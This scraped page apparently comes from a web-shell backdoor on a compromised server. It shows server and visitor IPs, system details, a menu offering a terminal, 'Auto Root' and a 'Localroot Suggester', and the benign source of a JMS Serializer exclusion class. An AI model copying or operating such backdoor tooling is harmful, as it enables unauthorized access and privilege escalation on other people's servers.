Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.171.53
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
jms /
serializer /
src /
Exclusion /
Delete
Unzip
Name
Size
Permission
Date
Action
DepthExclusionStrategy.php
1.17
KB
-rw-rw-r--
2022-08-24 15:26
DisjunctExclusionStrategy.php
1.68
KB
-rw-rw-r--
2022-08-24 15:26
ExclusionStrategyInterface.php
635
B
-rw-rw-r--
2022-08-24 15:26
ExpressionLanguageExclusionStrategy.php
2.56
KB
-rw-rw-r--
2022-08-24 15:26
GroupsExclusionStrategy.php
2.86
KB
-rw-rw-r--
2022-08-24 15:26
VersionExclusionStrategy.php
922
B
-rw-rw-r--
2022-08-24 15:26
Save
Rename
<?php declare(strict_types=1); namespace JMS\Serializer\Exclusion; use JMS\Serializer\Context; use JMS\Serializer\Metadata\ClassMetadata; use JMS\Serializer\Metadata\PropertyMetadata; /** * @author Adrien Brault <adrien.brault@gmail.com> */ final class DepthExclusionStrategy implements ExclusionStrategyInterface { public function shouldSkipClass(ClassMetadata $metadata, Context $context): bool { return $this->isTooDeep($context); } public function shouldSkipProperty(PropertyMetadata $property, Context $context): bool { return $this->isTooDeep($context); } private function isTooDeep(Context $context): bool { $relativeDepth = 0; foreach ($context->getMetadataStack() as $metadata) { if (!$metadata instanceof PropertyMetadata) { continue; } $relativeDepth++; if (0 === $metadata->maxDepth && $context->getMetadataStack()->top() === $metadata) { continue; } if (null !== $metadata->maxDepth && $relativeDepth > $metadata->maxDepth) { return true; } } return false; } }